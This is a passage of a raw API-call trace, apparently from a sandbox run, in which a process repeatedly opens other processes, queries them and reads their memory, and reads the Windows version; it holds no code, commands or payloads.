lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.305] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.306] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.307] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.308] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.308] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x308020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.308] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.308] malloc (_Size=0x80) returned 0x20abc2aa840 [0277.309] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521970, lpBuffer=0x20abc2aa840, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa840*, lpNumberOfBytesRead=0x0) returned 1 [0277.309] free (_Block=0x20abc2aa840) [0277.310] CloseHandle (hObject=0x16c) returned 1 [0277.310] _ui64tow_s (in: _Value=0xeac, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0277.324] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3756") returned 4 [0277.325] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.326] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.348] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x16c [0277.349] GetLastError () returned 0x0 [0277.389] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.389] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.389] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.389] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.390] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc22fc240, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.391] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.392] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.392] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.392] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.392] malloc (_Size=0x8a) returned 0x20abc2ab540 [0277.393] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x50197a, lpBuffer=0x20abc2ab540, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab540*, lpNumberOfBytesRead=0x0) returned 1 [0277.394] free (_Block=0x20abc2ab540) [0277.394] CloseHandle (hObject=0x16c) returned 1 [0277.395] _ui64tow_s (in: _Value=0xeb4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3764") returned 0x0 [0277.398] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3764") returned 4 [0277.399] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.399] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeb4) returned 0x16c [0277.413] GetLastError () returned 0x0 [0277.414] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.415] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.415] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d18f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.416] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.417] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.418] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.418] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.418] malloc (_Size=0x6c) returned 0x20abc2831b0 [0277.418] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.419] free (_Block=0x20abc2831b0) [0277.420] CloseHandle (hObject=0x16c) returned 1 [0277.420] _ui64tow_s (in: _Value=0xee0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3808") returned 0x0 [0277.424] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3808") returned 4 [0277.425] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.425] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee0) returned 0x16c [0277.493] GetLastError () returned 0x0 [0277.494] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.494] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.494] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.495] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.495] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.496] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.497] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.497] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.497] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.498] malloc (_Size=0x48) returned 0x20abc27cf80 [0277.498] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1938, lpBuffer=0x20abc27cf80, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0277.498] free (_Block=0x20abc27cf80) [0277.499] CloseHandle (hObject=0x16c) returned 1 [0277.499] _ui64tow_s (in: _Value=0xee8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0277.503] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3816") returned 4 [0277.504] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.504] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0x16c [0277.516] GetLastError () returned 0x0 [0277.517] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.517] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.519] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.521] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.521] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.521] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.521] malloc (_Size=0x6a) returned 0x20abc2831b0 [0277.521] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x51195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.522] free (_Block=0x20abc2831b0) [0277.522] CloseHandle (hObject=0x16c) returned 1 [0277.523] _ui64tow_s (in: _Value=0xef0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3824") returned 0x0 [0277.559] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3824") returned 4 [0277.560] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.560] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.575] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef0) returned 0x16c [0277.575] GetLastError () returned 0x0 [0277.576] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3e4018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.577] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.577] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.577] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.578] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.580] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3e4020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.580] malloc (_Size=0x6a) returned 0x20abc2831b0 [0277.580] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.581] free (_Block=0x20abc2831b0) [0277.582] CloseHandle (hObject=0x16c) returned 1 [0277.582] _ui64tow_s (in: _Value=0xf00, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3840") returned 0x0 [0277.587] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3840") returned 4 [0277.589] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.589] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.612] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf00) returned 0x16c [0277.612] GetLastError () returned 0x0 [0277.613] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.613] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x323018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.613] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.613] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c1d20, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.614] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c18f8, lpBuffer=0x2dc22fc240, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.615] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.618] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.618] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x323020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.618] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.618] malloc (_Size=0x82) returned 0x20abc2aacc0 [0277.618] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c1972, lpBuffer=0x20abc2aacc0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aacc0*, lpNumberOfBytesRead=0x0) returned 1 [0277.619] free (_Block=0x20abc2aacc0) [0277.620] CloseHandle (hObject=0x16c) returned 1 [0277.621] _ui64tow_s (in: _Value=0xf08, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3848") returned 0x0 [0277.627] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3848") returned 4 [0277.628] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.629] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.652] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf08) returned 0x16c [0277.653] GetLastError () returned 0x0 [0277.654] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.654] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x311018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.655] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.655] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.655] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f18f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.657] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.659] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.659] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x311020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.660] malloc (_Size=0x6e) returned 0x20abc2831b0 [0277.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.661] free (_Block=0x20abc2831b0) [0277.662] CloseHandle (hObject=0x16c) returned 1 [0277.662] _ui64tow_s (in: _Value=0xf1c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3868") returned 0x0 [0277.669] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3868") returned 4 [0277.671] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, 